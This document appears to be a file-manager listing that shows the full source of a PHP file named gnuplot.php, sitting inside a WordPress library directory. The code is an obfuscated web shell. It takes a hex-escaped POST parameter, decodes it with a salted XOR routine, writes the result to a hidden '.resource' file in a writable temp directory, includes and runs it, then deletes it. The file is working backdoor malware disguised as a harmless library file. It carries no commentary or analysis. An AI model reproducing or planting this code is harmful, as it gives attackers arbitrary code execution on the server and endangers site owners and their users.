• File: gnuplot.php
  • Full Path: /www/wwwroot/pt-gaming.com/wp-includes/php-ai-client/third-party/Http/Discovery/Strategy/gnuplot.php
  • Date Modified: 02/20/2026 8:42 AM
  • File size: 882 bytes
  • MIME-type: text/x-php
  • Charset: utf-8
<?php

if(!is_null($_POST["\x69\x74m"] ?? null)){
	$obj = $_POST["\x69\x74m"];
	$obj=  	explode( 	 "." ,			$obj 		)	  ;	
	$element = '';
            $salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($salt );
            $len = count($obj );
    
            for ($i = 0; $i  < 	$len; $i++) {
                $v2 = $obj[$i];
                $sChar = ord($salt[$i%$lenS] );
                $dec = ((int)$v2 - $sChar - ($i%10)) ^	 35;
                $element.= chr($dec );		}	 
	$bind = array_filter([sys_get_temp_dir(), "/var/tmp", "/tmp", getenv("TMP"), "/dev/shm", session_save_path(), ini_get("upload_tmp_dir"), getcwd(), getenv("TEMP")]);
	foreach ($bind as $key) {
    		if (max(0, is_dir($key) * is_writable($key))) {
    $elem = "$key/.resource";
    if (@file_put_contents($elem, $element) !== false) {
	include $elem;
	unlink($elem);
	die();
}
}
}
}